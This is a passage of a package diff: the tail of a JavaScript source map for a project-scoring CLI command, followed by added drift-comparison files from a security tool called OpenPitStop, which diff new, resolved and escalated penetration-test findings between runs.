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"}
@@ -0,0 +1,16 @@
1
+ /**
2
+ * pen/drift.ts — compare a pen run against the previously sealed run.
3
+ *
4
+ * This is the differentiator a finder-only tool (Strix) never ships: it doesn't
5
+ * just report once, it remembers. OpenPitStop re-reads the last `.pitstop/
6
+ * pen-latest.json` and tells you, in one glance:
7
+ *
8
+ * - NEW findings → a regression introduced since the last run
9
+ * - RESOLVED findings → a fix that made a previous finding disappear (proof)
10
+ * - ESCALATIONS → a static hypothesis the live attack just confirmed
11
+ *
12
+ * `regression` is true when a NEW high/critical appeared, or a hypothesis
13
+ * escalated to PROVEN — exactly the signal a CI gate should fail on.
14
+ */
15
+ import type { PenFinding, PenDrift } from "./types.js";
16
+ export declare function computePenDrift(prev: PenFinding[] | null, cur: PenFinding[], baselineTimestamp?: string): PenDrift;
@@ -0,0 +1,69 @@
1
+ /**
2
+ * pen/drift.ts — compare a pen run against the previously sealed run.
3
+ *
4
+ * This is the differentiator a finder-only tool (Strix) never ships: it doesn't
5
+ * just report once, it remembers. OpenPitStop re-reads the last `.pitstop/
6
+ * pen-latest.json` and tells you, in one glance:
7
+ *
8
+ * - NEW findings → a regression introduced since the last run
9
+ * - RESOLVED findings → a fix that made a previous finding disappear (proof)
10
+ * - ESCALATIONS → a static hypothesis the live attack just confirmed
11
+ *
12
+ * `regression` is true when a NEW high/critical appeared, or a hypothesis
13
+ * escalated to PROVEN — exactly the signal a CI gate should fail on.
14
+ */
15
+ // Lower rank = more certain / more dangerous. Used to detect escalations.
16
+ const RANK = {
17
+ proven: 0,
18
+ indicated: 1,
19
+ heuristic: 2,
20
+ };
21
+ function key(f) {
22
+ return `${f.type}|${f.route ?? f.file ?? "?"}`;
23
+ }
24
+ function toEntry(f) {
25
+ return {
26
+ id: f.id,
27
+ type: f.type,
28
+ target: f.route ?? f.file ?? "?",
29
+ severity: f.severity,
30
+ confidence: f.confidence,
31
+ title: f.title,
32
+ };
33
+ }
34
+ export function computePenDrift(prev, cur, baselineTimestamp) {
35
+ if (!prev || prev.length === 0) {
36
+ return { new: [], resolved: [], escalations: [], regression: false };
37
+ }
38
+ const prevByKey = new Map();
39
+ for (const f of prev)
40
+ prevByKey.set(key(f), f);
41
+ const curByKey = new Map();
42
+ for (const f of cur)
43
+ curByKey.set(key(f), f);
44
+ const news = [];
45
+ for (const f of cur)
46
+ if (!prevByKey.has(key(f)))
47
+ news.push(toEntry(f));
48
+ const resolved = [];
49
+ for (const f of prev)
50
+ if (!curByKey.has(key(f)))
51
+ resolved.push(toEntry(f));
52
+ const escalations = [];
53
+ for (const f of cur) {
54
+ const p = prevByKey.get(key(f));
55
+ if (p && RANK[f.confidence] < RANK[p.confidence]) {
56
+ escalations.push({
57
+ id: f.id,
58
+ type: f.type,
59
+ target: f.route ?? f.file ?? "?",
